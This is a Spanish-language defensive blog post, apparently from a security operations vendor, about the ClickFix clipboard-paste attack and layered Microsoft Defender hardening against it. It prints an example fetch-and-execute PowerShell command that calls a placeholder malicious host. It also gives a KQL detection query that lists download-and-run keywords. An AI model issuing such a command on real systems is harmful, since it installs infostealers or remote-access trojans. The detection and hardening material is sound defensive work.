ClickFix. Cuando el usuario es el exploit, y cómo detenerlo

La cadena de ataque de ClickFix

ClickFix es un ataque en el que los usuarios se convierten en su propio atacante. Sin exploit, sin vulnerabilidad. La víctima ejecuta el código malicioso, con un simple copiar y pegar.

El cebo es ingeniería social: un CAPTCHA falso en un sitio malicioso, un mensaje de soporte falso ("tu navegador necesita una actualización"), un correo de phishing o una página de reunión falsa. Mientras la víctima está en el sitio, JavaScript escribe el payload en el portapapeles mediante clipboard.writeText(). Después la página pide al usuario pulsar Win+R, Ctrl+V y Enter. El diálogo Ejecutar lanza lo que haya en el portapapeles.

Un cebo típico se ve así:

El comando que deja en el portapapeles se ve así:

powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)

Pasan dos cosas a la vez. PowerShell arranca en una ventana oculta (-w h), y iex(irm …) descarga el payload y lo ejecuta directamente en memoria. Nada toca el disco, así que el antivirus basado en firmas no tiene nada que escanear. La segunda etapa suele ser un infostealer (Lumma, Vidar, RedLine, StealC), un troyano de acceso remoto o un cargador de ransomware.

El mismo patrón en la telemetría de Microsoft Defender, un PowerShell oculto lanzado desde Windows Terminal que ejecuta iex(irm …):

Por qué funciona tan bien: todo se ejecuta en el contexto del usuario, sin privilegios. Cookies, contraseñas guardadas y tokens de sesión están al alcance de un usuario estándar. El atacante no necesita escalar privilegios para conseguir aquello a lo que vino.

Qué detecta Microsoft Defender

Microsoft ha invertido mucho en la detección de ClickFix en los últimos meses. Si vuestro Defender está sano y bien configurado, obtenéis detecciones nativas para los payloads de ClickFix. Desde el Q2 de 2025, MDE publica alertas basadas en comportamiento con títulos como "Suspicious 'ClickFix' behavior detected", "Malicious PowerShell command executed via Run dialog" o "An active 'Pacalau' malware in a command line was prevented from executing". Se disparan desde el motor cloud de MDE mediante el análisis de la cadena de procesos, en paralelo a la detección del AV y a menudo unos segundos antes.

La configuración que lo hace posible está más abajo, en el endurecimiento de la ejecución.

Dónde se queda corta la detección nativa

Las firmas de ML basadas en cloud tardan en dispararse. Vemos con regularidad una brecha de más de un minuto entre el arranque de PowerShell y la alerta de Defender. Un payload más rápido se cuela por esa ventana.

Los atacantes también se adaptan rápido. Cambia powershell por mshta http://... o msiexec /i http://..., ambos LOLBins clásicos, y las detecciones específicas de PowerShell dejan de aplicar.

Cerrar la brecha: una búsqueda en RunMRU

Esa brecha la cerramos con detecciones personalizadas. El punto de partida es una consulta KQL sobre la clave de registro RunMRU, que registra cada comando que un usuario teclea en el diálogo Win+R.

DeviceRegistryEvents
| where ActionType =~ "RegistryValueSet"
| where InitiatingProcessFileName =~ "explorer.exe"
| where RegistryKey has @"\CurrentVersion\Explorer\RunMRU"
| where RegistryValueData has " ✅ "
    or (RegistryValueData has_any ("powershell", "mshta", "curl", "msiexec", "^")
        and RegistryValueData matches regex "[\\u0400-\\u04FF\\u0370-\\u03FF\\u0590-\\u05FF\\u0600-\\u06FF\\u0E00-\\u0E7F\\u2C80-\\u2CFF\\u13A0-\\u13FF\\u0530-\\u058F\\u10A0-\\u10FF\\u0900-\\u097F]")
    or (RegistryValueData has "mshta" and RegistryValueName !~ "MRUList" and RegistryValueData !in~ ("mshta.exe\\1", "mshta\\1"))
    or (RegistryValueData has_any ("bitsadmin", "forfiles", "ProxyCommand=") and RegistryValueName !~ "MRUList")
    or ((RegistryValueData startswith "cmd" or RegistryValueData startswith "powershell")
        and (RegistryValueData has_any ("-W Hidden ", " -eC ", "curl", "E:jscript", "ssh", "Invoke-Expression", "UtcNow", "Floor", "DownloadString", "DownloadFile", "FromBase64String", "System.IO.Compression", "System.IO.MemoryStream", "iex", "Invoke-WebRequest", "iwr", "Get-ADDomainController", "InstallProduct", "-w h", "-X POST", "Invoke-RestMethod", "-NoP -W", ".InVOKe", "-useb", "irm ", "^", "[char]", "[scriptblock]", "-UserAgent", "UseBasicParsing", ".Content")
            or RegistryValueData matches regex @"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\s[A-Za-z0-9+/=]{15,}"))

La consulta marca cualquier entrada de Win+R que parezca un comando de ClickFix: PowerShell, mshta, curl o msiexec junto con indicadores típicos como -w hidden, iex, irm, DownloadString o payloads codificados en Base64. También capta los trucos sutiles. El emoji de la marca de verificación verde que muchos cebos de CAPTCHA falso pegan delante del comando. Caracteres Unicode de los rangos cirílico, árabe o tailandés que los atacantes usan para camuflar texto y esquivar filtros de cadena simples. Si uno de estos patrones aparece en una entrada de Win+R, es muy probable que haya un ataque ClickFix en curso.

Para nuestros clientes del CSOC operamos esta y otras detecciones personalizadas para cerrar la brecha entre las nuevas técnicas de ataque y la cobertura integrada.

Capa 1 de prevención: bloquear la entrega

Ahora la prevención. ClickFix es común y efectivo, así que un único control no basta. Trabajamos por capas, de la entrega a la ejecución.

Network Protection bloquea dominios de entrega y servidores C2 conocidos para todos los navegadores. MDE Web Content Filtering añade categorías como "Newly registered domains", "Hacking" e "Illegal Software". Network Protection viene integrado en Windows, pero para navegadores de terceros tenéis que deshabilitar QUIC y ECH, porque ambos cifran la conexión completa y ocultan el dominio de destino. Deshabilitad QUIC en Chrome y Firefox por política empresarial (QuicAllowed = Disabled en Chrome, network.http.http3.enable = false en Firefox); para ECH, poned EncryptedClientHelloEnabled = Disabled en Chrome.

Para Edge, activad SmartScreen. Para navegadores de terceros, activad su Safe Browsing integrado. No es lo mismo que Network Protection, pero ayuda a filtrar sitios dañinos. Para el vector de correo, Safe Links y Safe Attachments inspeccionan enlaces y adjuntos antes de que los usuarios interactúen con ellos.

El matiz: todo esto solo funciona contra infraestructura conocida. Las campañas actuales de ClickFix corren sobre infraestructura recién registrada que se identifica y bloquea demasiado tarde, y a veces sobre sitios legítimos que un atacante ha comprometido. Así que vemos qué protege después de que el cebo haya llegado.

Capa 2 de prevención: bloquear el truco

Algunas funciones de Edge suben el listón mientras el usuario está en un sitio malicioso. Gobernar las extensiones del navegador impide que los usuarios instalen extensiones maliciosas o comprometidas que inyectan overlays de ClickFix o manipulan el portapapeles por sí mismas. El Edge Enhanced Security Mode aplica protecciones más estrictas en sitios desconocidos y poco visitados (JIT deshabilitado, Control Flow Guard, protección de pila reforzada por hardware), lo que dificulta mucho las tomas de control del navegador basadas en exploits. Typo Protection avisa ante dominios typosquatted (micros0ft.com, paypa1.com) y bloquea un vector de entrega de ClickFix habitual a través de dominios de marca falsificados.

Los controles técnicos son solo la mitad. La formación de los usuarios sigue siendo esencial. La regla que carga con la mayor parte del peso: si una página web te pide que pegues algo en tu ordenador, es un ataque. Hacedlo concreto en la formación de concienciación:

• Mostrad cebos reales: casillas falsas de "Verify you are human", "tu navegador necesita una actualización", "el documento no se pudo renderizar, ejecuta este fix", avisos de audio roto de Teams o Zoom.
• Demostrad el truco del portapapeles: mostrad cómo el sitio sobrescribe el portapapeles en silencio.
• Facilitad el reporte: rápido y sin culpar a nadie.

Capa 3 de prevención: bloquear la acción

Aquí hay algunas formas de endurecer el sistema, ninguna es una garantía. Empezad deshabilitando el diálogo Ejecutar, lo que elimina el punto de entrada de Win+R. La guía de ClickFix de Microsoft sugiere deshabilitarlo "where it isn't necessary". Cierra el ataque concreto de pegar en Win+R, pero quedan superficies de lanzamiento alternativas, como la barra de direcciones del Explorador y Windows Terminal.

También podéis endurecer Edge con DefaultClipboardSetting, que impide que JavaScript escriba en el portapapeles en silencio.

Capa 4 de prevención: bloquear la ejecución

Antes de las funciones avanzadas, poned en orden los fundamentos. Para ClickFix, eso significa:

• Reducción de admin local: quitad derechos de administrador local a los usuarios finales siempre que sea posible, para limitar el impacto de una ejecución de código.
• Endpoint Privilege Management (EPM): dejad que los usuarios trabajen como estándar y elevad solo las apps aprobadas mediante reglas de política.
• Endurecimiento de UAC: revisad la aplicación del secure desktop, el comportamiento de los prompts para admins y usuarios estándar, y la detección de instaladores.
• Credential Guard: aislad hashes NTLM, tickets Kerberos y demás material de credenciales con seguridad basada en virtualización, para que el robo de credenciales siga siendo difícil incluso si un atacante consigue derechos de administrador.

Estos controles reducen las oportunidades de escalada, protegen las credenciales y aplican el mínimo privilegio. El límite: acotan lo que ocurre después de una vulneración. No impiden que un infostealer en contexto de usuario estándar lea cookies, tokens de sesión y almacenes de credenciales de apps legibles por el usuario.

Después, Microsoft Defender. Defender AV puede detectar el payload de la segunda etapa, pero solo con la configuración correcta: activad cloud protection y poned el nivel de protección en High o High+. AMSI, la Antimalware Scan Interface, permite a las aplicaciones enviar contenido a Defender para inspección en tiempo de ejecución, después de descifrarlo o desofuscarlo en memoria pero antes de que se ejecute. PowerShell usa AMSI para identificar código malicioso, y AMSI necesita protección en tiempo real y monitorización de comportamiento.

Al menos cinco reglas de Attack Surface Reduction son relevantes contra ClickFix:

Desplegad ASR primero en modo auditoría, luego en piloto, luego en bloqueo. Tamper Protection es la última línea: impide que el atacante desactive vuestras detecciones.

En PowerShell, reducid el riesgo de los intérpretes heredados. Identificad y, donde sea viable, eliminad Windows PowerShell 2.0 y los componentes VBScript heredados, a los que les faltan las funciones de logging y seguridad de las versiones nuevas. El siguiente paso es el Constrained Language Mode (CLM), que restringe los elementos de lenguaje que expone PowerShell y bloquea muchas técnicas basadas en scripts. El CLM solo tiene valor de seguridad robusto cuando lo aplica una política de control de aplicaciones del sistema (App Control for Business); las variantes por variable de entorno y por AppLocker son más débiles y evadibles. Y muchos sistemas necesitan el Full Language Mode para funcionar, por ejemplo el tooling de despliegue de software, por lo que el CLM a menudo solo es viable en entornos seleccionados.

Eso nos lleva a App Control for Business (antes WDAC). App Control aplica una política de integridad de código sobre qué ejecutables, scripts y drivers pueden correr. La postura estratégica es default-deny más las block rules recomendadas por Microsoft, la lista de bloqueo de LOLBins y bypasses conocidos. App Control es además la vía de aplicación correcta para el CLM de PowerShell. La script enforcement bloquea los hosts de script MSHTA y MSXML, fuerza PowerShell al CLM y bloquea el uso no permitido del Windows Script Host. Unos cuantos hechos de comportamiento importan:

• Las base policies que confían en Windows no bloquean automáticamente los LOLBins de confianza. Tenéis que fusionar las block rules recomendadas por Microsoft para cerrar los bypasses conocidos.
• App Control no impide que powershell.exe o cmd.exe firmados arranquen. Acota lo que pueden hacer (CLM, ningún payload sin firmar o no permitido) y no gobierna el contenido de cmd.exe, .bat o .cmd. Por eso se combina en capas con ASR y endurecimiento de lanzamiento, no se usa en solitario.
• El modo auditoría no es neutro: la script enforcement en auditoría sigue bloqueando la ejecución de MSHTA y MSXML y puede alterar el comportamiento del CLM de PowerShell. Por eso App Control en auditoría debe estar acotado a piloto o anillo desde el primer despliegue, nunca en toda la flota.

App Control es el control individual con mayor confianza contra las fases de intérprete, LOLBin y ejecución de payload, y aplica un CLM robusto. También conlleva la mayor complejidad de despliegue y el mayor riesgo de rollback, porque una mala configuración bloquea la ejecución. Introducidlo mediante anillos piloto controlados.

Aquí entramos nosotros

ClickFix se mueve rápido, y las detecciones nativas de Microsoft cubren la mayor parte, pero no todo. Para nuestros clientes del CSOC ampliamos la cobertura de forma continua allí donde aparecen brechas: ejecución vía Windows Terminal, estafas de soporte impulsadas por RAT y comportamiento post-compromiso. Si queréis saber dónde está vuestro entorno, poneos en contacto.